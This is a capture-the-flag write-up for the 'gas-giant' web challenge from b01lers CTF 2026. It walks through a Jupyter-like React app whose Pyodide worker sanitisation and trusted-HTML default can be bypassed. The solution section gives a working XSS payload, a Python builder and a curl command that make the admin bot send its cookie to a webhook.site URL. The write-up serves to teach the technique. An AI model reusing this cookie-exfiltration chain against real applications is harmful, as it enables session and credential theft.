← Back to Writeups
HTBN/AWeb

gas-giant

XESXOR8/23/20266 min read
#web#htb#n/a

gas-giant

Platform: B01Lersc | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-18 | Status: Solved Techniques: xss_via_dangerously_set_inner_html, pyodide_worker_post_message_bypass, cross_origin_bot_via_localhost_redirect, admin_bot_cookie_exfiltration, ipynb_zod_schema_bypass

Summary

Task: a Jupyter-like SPA (b01lerLite) that renders base64-encoded notebooks through a Pyodide worker, with an admin bot holding the flag in a cookie scoped to localhost. Solution: bypass worker output sanitization by calling self.postMessage directly from Python in Pyodide, make the main thread render attacker-controlled text/html through dangerouslySetInnerHTML (trusted defaults to true), and feed the bot a http://localhost:3000/render?d=... URL so the cookie is same-origin; the XSS fetches it to a webhook.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: b01lersc | ID: 20260418_b01lersc_gas_giant
  • Tags: xss, react, web, puppeteer, postmessage, cookie_exfiltration, pyodide, jupyter, dangerously_set_inner_html, web_worker
  • Indicators: Jupyter-like site with .ipynb rendered client-side via Pyodide Web Worker, Admin bot (puppeteer) visits submitted URL with a cookie named flag scoped to localhost, pyodideWorker.mjs monkey-patches displayDataCallback / publishExecutionResult to neutralize data, React cell renderer uses dangerouslySetInnerHTML gated only by trusted ?? true, Server-side URL validator is just startsWith('http://') || startsWith('https://') — allows http://localhost:3000/...
  • Source: 20260418_b01lersc_gas_giant.md

Foothold

Vulnerability / Misconfiguration

  1. Xss_via_dangerously_set_inner_html
  2. Pyodide_worker_post_message_bypass
  3. Cross_origin_bot_via_localhost_redirect
  4. Admin_bot_cookie_exfiltration
  5. Ipynb_zod_schema_bypass
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • xss_via_dangerously_set_inner_html
  • pyodide_worker_post_message_bypass
  • cross_origin_bot_via_localhost_redirect
  • admin_bot_cookie_exfiltration
  • ipynb_zod_schema_bypass
  • Tags: xss, react, web, puppeteer, postmessage, cookie_exfiltration, pyodide, jupyter, dangerously_set_inner_html, web_worker

Original Writeup

<details><summary>Click to expand original content</summary>

gas-giant — b01lers CTF 2026

Description

b01lerLite — a minimal Jupyter clone. Submit a notebook URL and our admin will open it for you. Don't steal their cookies.

POST /report {"url": "..."} — puppeteer opens the URL with the flag cookie and clicks the first Run button.

Given: full source of a React + Express app. A notebook (.ipynb) is encoded in base64 and rendered at /render?d=<b64>. Python runs client-side in a Pyodide Web Worker. There's a /report endpoint that drives a puppeteer bot; the bot holds the flag in document.cookie with domain=localhost.

Goal: make the bot exfiltrate its own cookie to us.

Analysis

Three layers of defence, all of them subtly broken.

Layer 1 — worker output is sanitized

src/lib/pyodideWorker.mjs monkey-patches the kernel's output callbacks before running user code:

ipykernel.displayDataCallback = (data, metadata, transient) => {
  // replace whatever Python produced with a harmless plain-text string
  postMessage({ ..., data: { 'text/plain': 'output disabled' } });
};
ipykernel.publishExecutionResult = (prompt, data, metadata) => { /* same */ };

So IPython.display.HTML(...) or display({'text/html': ...}) can never reach the main thread — the worker rewrites data before posting.

But the patch is applied only to the ipykernel-level callbacks. The Worker's own self.postMessage is still reachable, and Pyodide exposes it to Python via the js module:

from js import self as _self      # WorkerGlobalScope
_self.postMessage(arbitrary_msg)   # goes straight to main thread

The main-thread listener in JupyterNotebook.tsx doesn't check the shape or origin of the message — it only filters e.data.id !== currId. If we match currId, our fabricated output object is treated as if the kernel produced it.

currId comes from a getId() counter starting at 1, incremented on every Run. The bot clicks the first Run button, so currId === 1. To be safe we send id 1..5.

Layer 2 — HTML in cell output is gated by trusted

src/lib/JupyterNotebookCodeCell.tsx:

const trusted = props.trusted ?? true;
...
{trusted && mimes['text/html']
  ? <div dangerouslySetInnerHTML={{ __html: mimes['text/html'] }}/>
  : <pre>{mimes['text/plain']}</pre>}

The classic Jupyter "trusted notebook" concept is here but inverted: trusted defaults to true, and src/StyledNotebook.tsx never passes the prop at all. Every cell is trusted. text/htmldangerouslySetInnerHTML → full XSS.

Layer 3 — cookie is scoped to localhost

server/bot.ts:

await page.setCookie({ name: 'flag', value: FLAG, domain: 'localhost', path: '/' });
await page.goto(url, { waitUntil: 'domcontentloaded' });
await page.waitForSelector('button.cursor-pointer.text-right.px-1', { timeout: 20000 });
await page.click(...);
await sleep(5000);

If we feed the bot http://our-evil.com/... — the cookie is not sent and document.cookie is empty. We need same-origin execution.

server/index.ts validates the URL with only:

if (!url.startsWith('http://') && !url.startsWith('https://')) reject;

No host allow-list. Inside the container, port 3000 is the app itself, so http://localhost:3000/render?d=<payload> is:

  • accepted by the validator,
  • opened by puppeteer as first-party origin for localhost,
  • so document.cookie inside the page contains flag=bctf{...}.

Layer 4 — zod schema forbids pre-filled outputs

src/NotebookPage.tsx validates the decoded notebook with zod; cells[].outputs must satisfy z.array(z.any()).length(0). We can't just stuff HTML into outputs. Fine — we inject the output at runtime via postMessage instead.

Solution

Payload

Python cell (first and only code cell) that talks to the main thread through the Worker's raw postMessage:

from pyodide.ffi import to_js
from js import Object, self as _self

WEBHOOK = 'https://webhook.site/UUID'
html = (
    '<img src=x onerror="'
    'fetch(\'' + WEBHOOK + '/x?c=\'+encodeURIComponent(document.cookie)'
    '+\'&l=\'+encodeURIComponent(location.href))'
    '">'
)

# currId starts at 1 on the first Run click; send 1..5 for robustness
for i in range(1, 6):
    msg = to_js({
        'id': i,
        'output_type': 'display_data',
        'data': {'text/html': html},
        'metadata': {},
        'transient': {},
    }, dict_converter=Object.fromEntries)
    _self.postMessage(msg)

Two details matter:

  • to_js(..., dict_converter=Object.fromEntries) — without this Pyodide converts dicts to JS Maps, which the listener destructures as undefined.
  • The outer notebook must keep outputs: [] to pass the zod schema; HTML lives only in the live postMessage.

Notebook envelope

{
  "metadata": {},
  "nbformat": 4,
  "nbformat_minor": 4,
  "cells": [{
    "cell_type": "code",
    "source": "<python above>",
    "metadata": {},
    "execution_count": null,
    "outputs": []
  }]
}

Base64 it and embed in /render?d=<b64>.

Builder

build_payload.py:

#!/usr/bin/env python3
import base64, json, sys

def build(webhook: str) -> str:
    python = (
        "from pyodide.ffi import to_js\n"
        "from js import Object, self as _self\n"
        f"WEBHOOK = {webhook!r}\n"
        "html = ('<img src=x onerror=\"'\n"
        "    'fetch(\\''+WEBHOOK+'/x?c=\\'+encodeURIComponent(document.cookie)'\n"
        "    '+\\'&l=\\'+encodeURIComponent(location.href))'\n"
        "    '\">')\n"
        "for i in range(1, 6):\n"
        "    msg = to_js({'id': i,'output_type':'display_data',\n"
        "        'data': {'text/html': html},'metadata':{}, 'transient':{}},\n"
        "        dict_converter=Object.fromEntries)\n"
        "    _self.postMessage(msg)\n"
    )
    nb = {"metadata": {}, "nbformat": 4, "nbformat_minor": 4,
          "cells": [{"cell_type": "code", "source": python,
                     "metadata": {}, "execution_count": None, "outputs": []}]}
    return json.dumps(nb, separators=(",", ":"))

if __name__ == "__main__":
    enc = base64.b64encode(build(sys.argv[1].rstrip("/")).encode()).decode()
    print(enc)

Firing the bot

PAYLOAD=$(python3 build_payload.py "https://webhook.site/UUID" | tail -1)
curl -X POST https://instance.b01lersc.tf/report \
     -H 'Content-Type: application/json' \
     --data "{\"url\":\"http://localhost:3000/render?d=${PAYLOAD}\"}"

Wait ~40–60s — the bot has to pull Pyodide + ipykernel from the CDN before the Run button even renders. Then the webhook receives a hit:

GET /x?c=flag%3Dbctf%7BREDACTED%7D&l=http%3A%2F%2Flocalhost%3A3000%2Frender%3Fd%3D...
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR